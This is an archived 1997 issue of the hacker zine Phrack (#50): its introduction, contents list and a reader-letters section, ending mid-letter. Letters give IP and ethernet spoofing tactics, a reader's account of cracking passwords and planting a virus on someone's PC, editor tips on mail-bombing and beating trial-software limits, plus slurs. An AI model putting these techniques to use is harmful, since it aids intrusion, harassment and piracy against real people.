Phrack #50

EDB-ID:

42861

CVE:

N/A


Author:

phrack

Type:

papers


Platform:

Magazine

Date:

1997-04-09


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

                                .oO Phrack 50 Oo.

                            Volume Seven, Issue Fifty

                                      1 of 16

                                  Issue 50 Index
                               ____________________

                                 P H R A C K   5 0

                                  April 09, 1997
                               ____________________
                            
                                "The Perfect Drug"


START the fireworks...
ALERT the mass media...
CUE up the Axel-F Beverley Hills Cop music...
AND FOR THE LOVE OF GOD, SOMEONE NOTIFY MITCH KABAY...! 

                                Phrack 50 is here.

To celebrate this landmark event, for a limited time, we are offering *all*
Phrack issues (including this one) at a special "WE-MUST-BE-OUT-OF-OUR-MINDS"
rate of HALF-PRICE!!  That's right!  Now you can enjoy Phrack for 50% off
the standard price of free!  Now you can enjoy your favorite electronic
zine and still have enough money left over to get those breast implants! 

<SOAPBOX>

It seems, in recent months, the mass media has finally caught onto what we 
have known all along, computer security _IS_ in fact important.  Barely a
week goes by that a new vulnerability of some sort doesn't pop up on CNN.
But the one thing people still don't seem to fathom is that _WE_ are the
ones that care about security the most...  We aren't the ones that the
corporations and governments should worry about...  We are not the enemy.

Phrack is often described by the mass media as an 'Underground Hacker's Zine'
run by `irresponsible` youths.  Compare Phrack's distribution with that of
the security publications that charge just enough money to keep students
and interested outsiders from reading it...  Then decide who is  
`irresponsible`.  Phrack is often criticized by professionals as giving away 
tools to people who aren't responsible enough to use them.  The fact is, we 
are giving away tools to people who aren't rich enough to buy them.

The parallels between Internet packet sniffing and phone wire tapping are
enormous.  The abuses of wire tapping by government agencies are well 
documented.  Not so well documented, however, are similar abuses by these same
agencies across key Internet access points.  This is just another classic 
example of the Government trying to assert complete control.  The Internet is,
however, anarchistic by nature and dynamic by design.  It resists all attempts
at governing and all attempts at control.  

By providing a public compendium of the same knowledge, information and 
resources that all the money in the world can buy, we help ensure that the 
Internet will remain safe with the individual.  Knowledge is not power.  
Knowledge is _empowerment_.
 
</SOAPBOX>

This issue contains a great deal of C source code.  Somewhere in the
neighborhood of 5000 lines of C source.  To facilitate painless extraction
of the code and support files into an arbitrarily designated hierarchical
directory structure and still maintaining readability while in `zine`
format, we developed a custom extraction utility. (Good lord that was a
long sentence...)  Article 16 contains the source for extract.c, instructions
for compilation and use can be found therein.

---------------------------------------------------------------------------


Enjoy the magazine.  It is for and by the hacking community.  Period.

   
                Editors : daemon9[route], Datastream Cowboy
           Asst. Editor : Alhambra (appears courtesy of the guild corp.)
                 On ice : Voyager
                Mailboy : Erik Bloodaxe
                   News : Alhambra, disorder
 	          Elite : snocrash
             Best Coast : Left Coast
                Fatstar : loadammo
               Thinstar : nirva
          SPOOOOOOOOON! : sirsyko
Rocks the Fucking House : 16 Volt
            Bad at pool : the NSA
   Tip o' the black hat : omerta
           Birthday Boy : loki
             GET A LIFE : All you jennicam losers. (jennicam.simplenet.com)
Shout outs / Thank yous : mudge (cos he just plain rules), the Guild and
                          r00t, pyro, blaboo, o0, halflife, nihil (for
                          dealing with my daily whining, working 6848 hours
                          a week, and *still* providing the kickass article),
                          alhambra (for coming through in a big way for Phrack 
                          when other people let us down), mycroft (fruitbat),
                          Juliet (cookies)

Phrack Magazine V. 7, #50, April 09, 1997.   
Contents Copyright (c) 1996/7 Phrack Magazine. All Rights Reserved.  Nothing 
may be reproduced in whole or in part without written permission from the
editors.  Phrack Magazine is made available quarterly to the public, free of 
charge.  Go nuts people.  

Subscription requests, articles, comments, whatever should be directed to:

                phrackedit@infonexus.com      

Submissions to the above email address may be encrypted with the following 
key (note this is a REALLY NEW key, we promise not to lose it this time): 

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW
ibPDuf3ecgGezQHM0/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfqxxP88/O
vgEDrxu4vKpHBMYTE/Gh6u8QtcqfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j
0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W
DDJ2wTS1vXzPsmsGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiwCGIngIKt3yG
/v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0D1BocmFjayBNYWdhemlu
ZQ==
=sdwc
-----END PGP PUBLIC KEY BLOCK-----
                                    
	ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED

Phrack goes out plaintext...  You certainly can subscribe in plaintext


 			   .oO Phrack 50 Oo.
 		 -------------------------------------
			   Table Of Contents
		
 1. Introduction                                       ... Phrack Staff   9K
 2. Phrack Loopback				       ... Phrack Staff  60K
 3. Line Noise				               ... various       72K 
 4. Phrack Prophile on Aleph1                          ... Phrack Staff   7K
 5. Linux TTY hijacking                                ... halflife      15K
 6. Juggernaut                                         ... route        123K
 7. SNMP insecurities                                  ... Alhambra      20K
 8. Cracking NT Passwords                              ... Nihil         17K
 9. SS7 Diverter plans                                 ... Mastermind    27K
10. Skytel Paging and Voicemail                        ... pbxPhreak     36K
11. Hardwire Interfacing under Linux                   ... Professor     11K
12. PC Application Level Security                      ... Sideshow Bob  21K
13. DTMF signalling and decoding                       ... Mr. Blue      17K
14. DCO Operating System                               ... mrnobody      16K
15. Phrack World News                                  ... Alhambra     110K
16. extract.c                                          ... Phrack Staff   2K

                                                                        523k

 		 -------------------------------------


Every article in Phrack is written free of charge, for and by the hacking
community.  If you are a hack, phreak, student, professor, professional,
or even a loser with an idea and you have some knowledge or information
you would like to empart, there are thousands of readers who would love 
nothing more than to learn from you.  If you want to submit something 
anonymously, it will stay anonymous, if you want attributation, feel free to 
use your real name or a psuedonym.  The deadline for submissions to Phrack 51 is
July 25th, 1997, but the earlier the better.  If you are planning on writing an
article we'd like to hear from you as soon as possible.  

If you don't think you are going to be able to write an article, but you have
some comments about Phrack, commentary about the hacking world, funny stories,
exploits, news items, or just want to tell us about the government site you
just hacked (PGP'd and through an anonymous remailer PLEASE), we love getting
mail.  PGP key and e-mail address are above. 


                 -------------------------------------

   
" *pyro* phrack is my faith and the e-zine is my bible, you are one of my 
         high priests! "
                   	- Some IRC zealot 

" ...r00t and the guild.... Like peanut-butter and jelly -- you could have 
  one without the other, but *why* would you want to...? "
                      	- route

EOF


--------------------------------------------------------------------------------


                                .oO Phrack 50 Oo.

                            Volume Seven, Issue Fifty

                                     2 of 16

                                 Phrack Loopback

-----------------------------------------------------------------------------
  

Hi,
          I have a story of violations of freespeech and censorship and
if I am busted unjustly, please publish this story to the public.
Yesterday some faggot e-mailed me with a ton of ascii crap that
took me an hour + to DL.  WHen I finished DLing it, windoze stalled and I
had to restart..  So  naturally I was pissed off.  The reason this guy
said he did this was because I posted a cheat program for the game
Diablo on my webpage and he doesn't like cheaters.  Today he e-mailed me 
again with ascii crap.....I was beyond pissed....so I did what anyone in 
my position would do....Imailbombed him ... about 600 msg's or so.  
I used Kaboom3 and an SMTP I thought (Looked like it from port 25) was 
anonymous and untraceable.
       As it turns out, 2 hours later the head of security at Earthlink
(my current ISP) called and said that someone from my account had e-mail
bombed this person. The security guy said that the person I bombed
complained to his ISP because it "put out his business for hours." His
ISP traced it to Earthlink and then to me, by contacting the earthlink
security guy and having him look in the logs for who was connected to
the ip (dynamic) they saw in the bomb messages at the time the bombing       
occurred. He also said that the guy I bombed called the FBI and got them
involved in it. Is this sounding fucking ridiculous yet?  First of all,
any reputable business presumably has a better-than-28.8 connection,
which means it would have taken this guy a couple seconds to DL my bomb.
Secondly, even if he doesn't have a T-1, at 28.8 it would take 2 hours
or so, maybe less.  But the FBI is involved.....   I can't fucking
believe it!  So naturally the first thing I do is e-mail all the
reputable hackz known to me.  This is ridiculous, this is
oppressive, this is BIG BROTHER!

                                           Yours,
                                       GrEeNbEaSt


[ So, what exactly is it that you want us to do, besides burst into fits
of uncontrollable for several minutes at a time? ]

-----------------------------------------------------------------------------


Hey, in phrack 48, the article on IP spoofing says you need to sample to
TCP sequence numbers of the host you are attacking.  The method is
suggests is to connect via SMTP and then drop the connection.  There is
a problem with this - sendmail usually logs failed mail transfers, so
the host will probably be able to correlate this with the time of the
attack and find out who you are.  Further, this connection must be done
from a non-spoofed IP address to guarantee you get a returned packet.
There are two options available here:

1) Forge the sequence sampling connection as another host on your subnet
(although if they contact your provider and your provider logs massive
data, you're busted - also this will not work if the local network uses
an active hub)

2) Make sure to remove these traces if you manage to crack the machine -
this is all or nothing - if you fail to crack it, but left indicators of
an attack, you are screwed. (again only if your provider logs heavily)

If you want to circumvent these dangers altogether, simply sample the
sequence numbers from some highly non-logging port.  The standard inetd
server for UNIX runs a TCP echo, discard and chargen service, which you
can get sequence numbers from, and does not log anything.

There are two complications to this attack which are becoming
increasingly used, and which effectively prevent it.

1)  Some providers do not allow foreign IP addresses to go out of their
subnet as source IP addresses - this is done through router blocking.
Most sites just don't give a damn or are too stupid to figure out how to
do it, but the number of providers doing this is increasing.  You could
try to hack their router - easy to find, do a traceroute, but chances of
success are slim if it doesn't allow remote logins.  Also, your ISP will
know if this happens, and may take additional precautions immediately
(such as grabbing your ethernet address if you are on a local network -
then you are f!!ked)  We don't want any minors reading this to see any
offensive words, do we - oh lord, they might even ban phrack in the
state of Texas.  No offense to anyone from Tx unless they deserve it.

2)  Some OS's use pseudo-random number generators to create TCP sequence
numbers at the beginning of each connection.  This is easy to do under
Linux, and I think some commercial OS's might even be doing this now
(anyone have confirmation of the rumor that Solaris now does this?)
Now, this is easy to check for - connect twice in immediate succession
and see if you get two sequential (or close) numbers.  However, a
workaround for this would be to generate pseudo-random sequence numbers
for the first connection from a given IP address (and then again when
the IP layer no longer has any knowledge of this IP address)  If a site
was running non-crypto pseudo-random sequences, it would be possible to
analyze it using a spectral test to try to predict sequence numbers, but
if they use a cryptographically secure sequence generator, you would
have to break it (probably not too hard since any highly secure crypto
sequence would make IP response time unreasonably slow)  A
counter-solution to this would be to generate random numbers in low cpu
load time, and have a buffer of them for later use.  Here, we could
probably go on forever with attacks and countermeasures, so lets stop
now, as a cure for sanity.

As an aside note for the highly paranoid:  ethernet spoofing

Note: some of this is theorized, and might not be 100% accurate - if you
get the jist of it, you should be able to figure out if it works for
you.

It is possible to spoof ethernet hardware addresses as well.  Some cards
will allow you to do this easily, but you need to have card programming
docs (check the Linux kernel source for your card driver-!!).  Others
won't let you do it at all, and require a ROM change, or worse it might
be solid state logic on the card - EVIL.  Course you might be able to
get around solid state stuff by recoding the ROM, but I wouldn't
recommend it unless you don't have the $70 to buy a new card, and have a
month or two to spend in the basement.

If you make up an ethernet address, you should probably use a real card
identifier (the first three bytes).  This is because some sniffing
software raises warning flags when unknown card identifiers pop up, and
this software is run by more network admins than I'd like to think.

Some new hub technologies may limit this type of spoofing- most notably,
active hubs wouldn't allow it at all.  Other new hub designs use
mappings of ethernet address to specific ports on the hub, so you might
not be able to change the address without turning off the machine,
waiting for the hub to time out the address, and rebooting.

Ethernet hardware address spoofing will make a machine completely
undetectable, provided it is not the only machine on a network that is
being monitored.

There may be a way around active hubs, and this is multicast ethernet
addresses.  Any network card capable of multicast should be able to send
packets with an ethernet multicast address.  This address is not
specific to each card, as many cards can send and receive on the same
multicast address.  The problem here is router and hub technology may
have already advanced to the point where it can distinguish multicast
ethernet addresses and convert them to multicast IP addresses, which
would not allow you to spoof.  This is only theoretical - I haven't
tried it, don't know anyone who has, and have never even heard rumors
about it.

Note : this information is in no means comprehensive - I don't have the
time or resources to study it, but most likely results in ethernet
spoofing vary by the manufacturers of the network hardware all the way
down the local line - (i.e - ethernet card all the way to the first
gateway)

Another aside: return path rerouting

In return path rerouting, the IP spoofing attack follows the same
general principal, except that the attacking machine gets reply packets,
and does not need to operate blind.  There are three ways to make this
work:

1)  Pretending to be a trusted host on your subnet
    Easy, just pick up packets destined for the trusted machine which
    look like responses to your forged packets, and send on their IP
    address, and SYN flood their machine.  This will even work past
    blocking ISP's

2)  Source routing attack
    Medium difficulty, you have to construct a path between your machine
    and the target, and a path between your machine and the trusted host
    (although the last part can be made up).  Use this and either the
    strict or loose IP routing option, and all packets will come back to=20
    you.  This will not work nearly as much, since many hosts and=20
    routers discard source routed packets (it is a well-known flaw in=20
     TCP/IP now).  However, mightn't buggy implementations only discard
    one type of source routing?

3)  Experimental - ICMP redirect attack
    Try using ICMP redirects to redirect the packets back to the=20
    attacking machine.  ICMP redirects should only be accepted to=20
    machines on a local subnet, but buggy implementations might not do
    this correctly (actually, I think the Host Requirements RFC says=20
    this is recommended, not required).  Also, it may be possible to   =20
    create a path using redirects or forged routing updates to direct
    traffic to a trusted site back to the attacking site.  After the
    attack, the routing information could be repaired, making it seem
    like a temporary network failure.  If anyone followed this and knows
    what I mean, let me know if you think it's possible.    =20

Thanks

Zach

[ Zach, you have good ideas and points.  Now, why haven't YOU written
  an article for Phrack???

  You should...<hint><hint> ]

-----------------------------------------------------------------------------

DEATH TO THE INNOCENT


 I WENT TO A PARTY, MOM, I REMBERED WHAT YOU SAID.
 YOU TOLD ME NOT TO DRINK, MOM, SO I DRANK SODA INSTEAD.
 I REALLY FELT PROUD INSIDE, MOM, THE WAY YOU SAID I WOULD.
 I DIDN'T DRINK AND DRIVE, MOM, THOUGH THE OTHERS SAID I SHOULD.
 I KNOW I DID THE RIGHT THING, MOM, I KNOW YOUR ALWAYS RIGHT.
 NOW THE PARTY IS ENDING, MOM, AS EVERONE IS DRIVING OUT OF SIGHT.

 AS I GOT INTO MY CAR, MOM, I KNEW I'D GET HOME IN ONE PIECE.
 BECAUSE OF THE WAY YOU RAISED ME, SO RESPONSIBLE AND SWEET.
 I STARTED DRIVING AWAY, MOM, BUT AS I PULLED INTO THE ROAD,
 THE OTHER CAR DIDN'T SEE ME, MOM, AND HIT ME LIKE A LOAD.
 AS I LAY HERE ON THE PAVEMENT, MOM, I HEAR THE POLICE MAN SAY,
 THE OTHER GUY IS DRUNK, MOM, AND NOW I'M THE ONE WHO WILL PAY.
 I'M LYING HERE DYING. MOM, I WISH YOU'D GET HERE SOON.

 HOW COULD THIS HAPPEN TO ME, MOM? MY LIFE JUST BURST LIKE A BALLOON.
 THERE IS BLOOD ALL AROUND ME, MOM, AND MOST OF IT IS MINE.
 I HEAR THE MEDIC SAY, MOM, I'LL DIE IN A SHORT TIME.
 I JUST WANTED TO TELL YOU, MOM, I SWEAR I DIDN'T DRINK.
 IT WAS THE OTHERS, MOM. THE OTHERS DID NOT THINK.
 HE WAS PROBIBLY AT THE SAME PARTY AS I.
 THE ONLY DIFFERENCE IS, HE DRANK AND I WILL DIE.

 WHY DO PEOPLE DRINK, MOM? IT CAN RUIN YOUR HOLE LIFE.
 I'M FEELING SHARP PAINS NOW. PAINS JUST LIKE A KNIFE.
 THE GUY WHO HIT ME IS WALKING, MOM, AND I DON'T THINK IT'S FAIR.
 I'M LYING HERE DYING AND ALL HE CAN DO IS STARE.

 TELL MY BROTHER NOT TO CRY MOM, TELL DADDY TO BE BRAVE.
 AND WHEN I GO TO HEAVEN, MOM, PUT DADDY'S GIRL ON MY GRAVE.
 SOMEONE SHOUYLD HAVE TOLD HIM, MOM, NOT TO DRINK AND DRIVE.
 IF ONLY THEY HAD TOLD HIM, MOM, I WOULD STILL BE ALIVE.

 MY BREATH IS GETTING SHORTER, MOM. I'M BECOMING VERY SCARED.
 PLEASE DON'T CRY FOR ME, MOM, WHEN I NEEDED YOU, YOU WERE ALWAYS THERE.
 I HAVE ONE LAST QUESTION, MOM, BEFORE I SAY GOODBYE.
 I DIDN'T DRINK AND DRIVE, MOM, SO WHY AM I THE ONE TO DIE?

[ Interesting...booze, violence.  Now, if only this little story had
  some forced sodomy of teenage schoolgirls...

  Man, I have no shame...drinking and driving is evil, and will get you
  shot in Central America for attempted homicide.  That's why I take
  cabs or hang around with 12-steppers or mormons.  Either way, it gives
  you someone to subject to your drunken ravings.

  Now why this was sent to Phrack, I have no idea.  ]

-----------------------------------------------------------------------------

I just have one question, i just moved back down to Texas from NY,,,
is there any one at phrack that knows local BBS numbers for san antonio???

thanx for the help,

[In almost any city with running water and electricity (and yes,
 even San Antonio qualifies as of this writing), in any local computer
 store you will find local compu-nerd publications.  I think in San Antonio
 its "Computer User."  In any case, in the back are usually listings of
 local bulletin boards.  Start with these, and eventually you will come
 across the kinds of bulletin boards you really want. ]

-----------------------------------------------------------------------------

The trial of the Danes arrested in the article I wrote in #47 has now
ended. No jail sentences, just community service up to 200 hours (me)
and a fine of 30.000Dkr. (apx. $5000).

Anyway, remember I wrote you about the article being quoted and
translated to Danish in a Danish magazine? Well, after the same magazine
published our REAL names, adrs with the advice not to hire us for any
jobs I got pretty sick of them and sent them a bill of DKr 5000, billing
them for my article.=20

Of course, they won't pay me (would rather go to court) so now I'm
considering taking them on their word. The company I'd be going after
is a daughtercompany of Coopers & Lybrand and is called Institute of
Datasecurity. Most of their employees seem to be notorious idiots, always
proclaiming themselves in the media with the anecdotes of yesterday. They
even gave out an award (money) to the DA who prosecuted us for doing
a nice job!=20

Well, since they didn't only violate my personal copyright but also the
restrictions of Phrack Magazine itself, I wanted to know if I could get
your support?  Just some kind of written statement about the policy of
the magazine, whether or not they paid you for it, etc.

In a hurry, dont mind the mistakes,

Le Cerveau

[ Can you please send a photocopy of that article to us at the Phrack
  mailing address?  Maybe we can help.

  I really don't have much respect for the accounting firms "computer
  security" teams, and never have.  In the years they've been doing this
  work, they STILL don't get it.

  It's too bad you aren't in America.  You could probably sue the living=
 hell
  out of everyone involved, if they really did publish your names
  and advise people not to hire you for work.  ]

-----------------------------------------------------------------------------

HEY Whats up,
I was wondering if U could tell me how to e-mail bomb Please!!!!=20

[No, that's a stupid thing to do.

 But, if you insist....

 Go do a WWW search for the program "UpYours"  This should
 suit your needs just fine. ]

-----------------------------------------------------------------------------

Hello,

I was wondering if you know where i can get copies of "The Journal of
Privileged Information"? I have issues 1-5, and i`m looking for 6 -
present. If you know where i can get them, it would be greatly
appriciated!! thanx

techcode

[ I'm not really familiar with this magazine, but if anyone out there
  has copies of this, email us with information on where to get more. ]

-----------------------------------------------------------------------------

Dear Phrack,

Great job on issue 49.  I enjoyed the section in Line Noise about ID
machine hacking.  Anyway, I wanted to say that Phrack rules; it is by
far my favorite computer hobbyist magazine.  By the way, I remember reading=
 a
letter that a reader sent in, about some queer selling bound volumes of=
 Phrack,
LOD Tech Journals, and virus source code.  A similar occurance happended to
me when I found that some wannabe-elite pseudo-hacker was selling printed
copies of Phrack, 40 Hex, Digital Free Press, and Xeroxed copies of=
 alt.2600.
I was curious, to say the least, and felt compelled to defend the honor of
those aforementioned publications.  I talked to the fag, and I gained his
trust by using undecipherable hacker jargon that he seemed awed by.  It=
 turns
out that he had been distributing pirated junk on his PC, using an=
 unregistered
copy of Serv-U.  I gave him a registration crack, and in return he gave me=
 an
account on his machine, so I could download his warez.  I logged on to
his PC one day, and I quickly found the serv-u.ini file with the encrypted
passwords.

Since Serv-U uses Unix style encryption, I cracked his personal account
in about 17 minutes.  He kept a TCP/IP connection open from 4pm to 11pm
every evening, and I logged on as him one day.  I uploaded a virus to the
windows system directory and renamed it something benign, and then I edited
his autoexec.bat to execute it (I also used Fixtime from the Nowhere
Utilities 2.0 to make it smooth).  I haven't heard from him since.  That
one was a simple job to protect the rights of cool magazines like Phrack!

Take it easy, and keep the issues coming.

dethbug

[ If only all readers were as loyal.  Or better yet, if only all readers
  sent us a dollar!

  Seriously though...a virus was a bit much, but since we weren't there
  to sue to protect our copyright...

  But uh, let it be known that you were not directed by, nor acting as an
  agent of Phrack Magazine, and any and all such behavior was done
  purely on your own behalf.  :)  ]

-----------------------------------------------------------------------------

Does this cost anything ?=20
LORDCYBRON

[ Unfortunately it does, but only your mortal soul. ]

-----------------------------------------------------------------------------

Phrack,

We would like permission to republished Chris Goggans'
(Erik Bloodaxe) editorials from issue 4.42 to issue
7.48 in Node9: An E-Journal of Writing and Technology.

http://node9.phil3.uni-freiburg.de

There is a lot of interest in hacker culture in
cultural studies, and Chris Goggans' editorials give
a good snapshot of the hacker's side of the from
last three years.=20

We could tell our readers to simply go to Phrack and get
the editorials themselves, but putting the editorials
together makes them more effective. Plus, for many of
our readers, a number of names, terms, events need to
be annotated.

Jon Adams=20

[ Well Jon, Phrack has always had a policy of letting people reprint
  articles / editorials / whatever as long as all pieces remain
  intact with all credit given to the original author and to Phrack
  Magazine.  If you can do that, feel free to use the editorials. ]

-----------------------------------------------------------------------------

Hi Hackers
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

I have only one question for you, please answer me. I read in your magazine

>                              =3D=3DPhrack Magazine=3D=3D
>
>                 Volume Seven, Issue Forty-Eight, File 10 of 18
>
>              Electronic Telephone Cards: How to make your own!
>              ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Its very excelent for people who live in country when used the cards from=20
Gemplus, Solaic, Schlumberger, Oberthur: (French cards 256 bit). But I live=
 in=20
Slovak Republic and in this country we use The cards from ODS, Giesecke &=20
Devrient, ORGA Karten systeme, Uniqua, Gemplus, Schlumberger and Oldenbourg=
=20
Kartensysteme (German cards 128 bit).

I am was reading in some paper that some people have emulator of these=20
telephone cards (German card). Emulator with PIC procesor.

But I very very long time searching Internet and I have not information how=
=20
I make this emulator. Only in your magazine I found help how I make=20
emulator but emulator which emulate french telephone card but I need=20
emulator which emulate german telephone card.

Please help me if You know some adress where I can find information=20
HOW I MAKE TELEPHONE CARD EMULATOR (WITH PIC PROCESSOR) WHICH EMULATE=20
TELEPHONE CARD TYPE GERMAN TELEPHONE CARD (128 BITS).

Thanks very much, for your answer. realllly thanks, i am waiiiiting.

!!!!!  M A X O  !!!!!

[ Actually, we don't but perhaps this request will bring in some
  information from people in Germany.  ]

-----------------------------------------------------------------------------


Can you please send me some hacker stuff that I can use on AOL.

THANX

[ The most important tool a hacker can have is a brain.  Unfortunately,
  since you are on AOL, it appears that your tool box is empty.  Perhaps
  you'd be more interested in some cool beavis & butthead .WAV files... ]

----------------------------------------------------------------

Looking for talented hackers for special projects.
First project concerns breaking source code.  Please respond.

Justin Raprager=20
<adamas@raprager.com>

[ You probably can't afford any of us on the Phrack Staff.
  Your request is being passed on the the readers.  ]

-----------------------------------------------------------------------------

     Is your web site the best kept secret on the Internet?

     We'll promote it to 50 search engines and indexes for $85
     and complete the job in 2 business days.  Satisfaction is
     guaranteed!

   Owl's Eye Productions, Inc.
   260 E. Main Street
   Brewster, NY 10509
   Phone: (914) 278-4933
   Fax:     (914) 278-4507
   Email: owl@owlsnest.com

[ Now, if our site is a secret, then how did you morons know about us?
  I think a better sales pitch is:

  "Is your Web Site Secure?"

  We'll give your info to several million hackers for FREE who will be
  sure to subject it to an extesive battery of security testing ranging
  from exploitation of remote security vulnerabilties to denial of service
  attacks.  Your site will be profiled continuously for months until
  people grow tired of causing you grief.

  Would Owl's Eye Productions, Inc. care to be the first for this
  amazing new service?  Let us know.  ]

-----------------------------------------------------------------------------

From: Ray Wardell <ray.wardell@novix.com>
To: phrack@well.com
Subject: FUCK YOU

FUCK YOU ... YOU DUMB ASS SHIT HEAD... FUCK WITH ME AND DIE...

[ Uh, ok. ]


-----------------------------------------------------------------------------


Hi, I would like to become a hacker. I just watched that movie HACKERS. It
got me all siked up. If you could give me some information on how to
become one, I would be apreciative.

[ So if you had watched "Buttman Goes To Budapest" then Stagliano would
  be getting this email instead of Phrack?

  Dude...it was only a movie.  And a bad one at that. ]

-----------------------------------------------------------------------------

Hi there !

Your article of the PIC16C84-Phonecard includes a uuencoded part
that contains the file "telecard.zip". telecard.zip contains the file
telecard.pcb which was created with Tango PCB Series 2.
My version of Accel Tango PCB Version 12 is not able to read this file.
So, I want to ask you, if its possible to send me this file in ASCII-Format
or (better) in a graphic-format like PCX or GIF.
A HP-Laserjet-prn-viewer would be useful, too.
I was also not able to read the schematic-file. Maybe you know a
location on the internet where I can get an evaluation version of the
older version of Tango PCB Series II.

[ Actually, we've got the same problem here at Phrack.  Anyone out there
  who can help, please send us email and we'll get it out to the
  masses! ]

-----------------------------------------------------------------------------

Hi my name is Konrad. I live in Ottawa, Onratio (Canada). I have a
question about one thing. When I download a trial program from internet,
it is only good for 30 days, and when it expires it writes that, to some
file so I tried reinsalling and redownloading the program, but when I
tried to run it, it gave me a message that this version is expired and
that I have to purchase the program. Do you know, to what file it
registers that it has expired, and how to disable it. If you don't know
how to do it, maybe you know someone that might be able to do it, and
forward my address to them. It is very important to me, because I'm
finishing a home page called Teen Online and my graphic program expired
(TrueSpace2) and there is no way that I can afford it, so I rather stick
to trial version. Ok... Thanks for your time.=20
						Konrad

[ Usually you can simply reinstall these trial programs and use them
  for another 30 days.  With others, you can change your system date
  back, or edit a date in an INI file.  It all depends on the program.
  Try some of these things and let us know what works. ]

-----------------------------------------------------------------------------

Why don't you write somthing for the bulgarian hackers?
(recent:take a look at everything that happened in Varna, Bulgaria this=
 year)

M a n i a X    K i l l e r i a n

[ We'd love to print something about the Bulgarian scene.  Honestly,
  I have no idea what happened in Varna, nor would I know where to look.

  Here's a novel idea:  Since you are IN Bulgaria, why don't you
  write something about it for us! ]

-----------------------------------------------------------------------------

I'm using BPI Accounts Receviable System Version 1.10 for IBM
Released September 1983

It has whats called a "key disk" that allows only the person with that
disk to closeout the program or month. The problem is this, when I make
a copy of this Key Disk the files match the original to the T.. There are
only 2 files involved.  But, when I try to closeout, BPI asks me to insert
the Key Disk and press enter to proceed.  When I do this with the "copy"
of the Key Disk the BPI program tells me that the copy is not a Key Disk.
This only happens with the copy, any ideas?=20

Both Key Disks contain the same information.  If I try to activate the
close directly from the Key Disk Copy it tells me that it can't find a
file, basrun.exe I checked and this file is part of the BPI Directory on C:
I've used this accounting software for many years and it works well.
But I'm afraid the good Key Disk may go bad one day and I'll be stuck.
Thats why I'm trying to make a copy.  Any help would be appreciated.

[ Obviously there is something else on that disk that a normal copy
  is not getting.  Maybe something as simple as a volume label or
  some hidden files.

  The easiest thing to do to get around this is make a sector by sector copy
  to a disk image file using some kind of program like the UNIX command "dd"
  and then copy that image back onto a blank diskette. ]

-----------------------------------------------------------------------------

Hi!

Here I have something for you, which may be interesting in your news=
 section.

Sometime during the night between Saturday April 5th and Sunday April 6th,
hackers broke into one of Telenor Nextel's webservers and deleted the=
 homepages
of 11.000 private customers and 70 corporate customers, among them the=
 homepages
of Norway's two largest newpapers VG and Dagbladet, and the largest online=
 news
magazine, Nettavisen.

The hackers somehow got access to hidden scripts, and after modifying and
manipulating them ran them, thereby deleting all the files mentioned.

Early Sunday, the ISP Telenor Nextel started restoring files from a backup=
 made
Saturday, but after encountering problems with that one, they had to restore
from Tuesday's backup. Saturday's backup will be added sometime during=
 Monday.
=D8kokrim, Norwegian police's department for Economic Crime has been=
 contacted.
=09
Reactions:

Sverre Holm of Norway's Organization for Internet Users (http://www.ibio.no)
criticize Telenor for lack of proper information, as well as an unhealthy
attitude. In response to Telenor's comment that they can't guarantee this=
 won't
happen again, he says, "Such an attitude can't be tolerated. If this is what
Telenor means, then we have a serious problem here."

Other reactions will surely come in the next days.

References (all in Norwegian):

Telenor Internett:
   http://internett.telenor.no/
Scandinavia Online:
   http://www.sol.no/      (Telenor's online service)
SOL Direkte:
   http://www.sol.no/snpub/SNDirekte/index.cgi?kategori=3DNett-Nytt
Nettavisen:
   http://www.nettavisen.no/Innenriks/860330846.html

I hope this could be interesting to you, and a candidate for your news flash
pages. Unfortunately, any references included are to pages in Norwegian, but
anyone with you speaking either Norwegian, Swedish, or Danish should be able=
 to
get more information.

Cheers,
O L I K

[ We here at Phrack always want to know what is going on out there on
  planet Earth.  Keep us informed of anty other developments! ]


-----------------------------------------------------------------------------


I'm investigating some informatic viruses who infect images generating
new fractalized images with a never seen beauty and singularity. Or may=20
be they investigate me. These viruses could broke sohemer in many diverse=20
disciplines like art, artificial life, fractals maths, digital image..=20
if you look web's images http://antaviana.com/virus/angles.htm you will=20
understand everything. I would be acknowledged if you could help me, and=20
it is posible i would like you to diffusse this subject in your interesting
publication.

In the name of biodiversity, if you have these VIRUSES,
PLEASE DON'T DISTROY THEM.

[ Ok.  We won't. ]


-----------------------------------------------------------------------------


Hi !

I read In Volume Seven, Issue Forty-Eight, File 11 of 18 - How to make own
telephon card . But when i try to make it , this card didnt work !  I try
all things, and  i try to find more informations about telephone cards, but
i still dont know what's wrong !
But today i found on http://www.hut.fi/~then/electronics/smartcards.html
that there is some errors, but there is no information what's wrong.=20
So i decidet to write to Phrack magazine , becouse in article is eriten to
mail all questions to Phrack....=20
Please send me info what is wrong, and how i must change the ASM program to
work correctly or just PLEASE send me email of contact person who knows how
to !!

Thanx in advance !

Marko

[ Obviously that little smartcard article caused a stir.  We've got all=
 kinds
  of email about it.  We'll see what more we can dig up, but we are going
  to really need some help from Europeans and South Americans.  (Smart
  cards are not in use here in America!) ]


-----------------------------------------------------------------------------


LOA is back!!! Visit our new page at:

http://www.hackers.com/LOA

Check it out and be sure to send your comments to revelation@hackers.com
Volume 2 of The Ultimate Beginner's Guide To Hacking And Phreaking has been
released as well, so be sure to download it and send me your comments. Be
sure to check out the LOA Files section to view and download past, present,
and future LOA Projects. Take it easy all...

[ No offense intended, but did you ever wonder why there were so many
  "Legions of" whatever after LOD?

  We'll put a link up to your page though... ]


-----------------------------------------------------------------------------


Hey, did you know that Juno (the nationwide free email service) has PPP
access? Free? To superusers only? Who login directly to their terminals
that have no ANI? And that they are complete fucking idiots, because in
every juno.ini file buried deep in the /juno/user00000x/ directory there is
a section called "Variables" which lists at least one Juno server account,
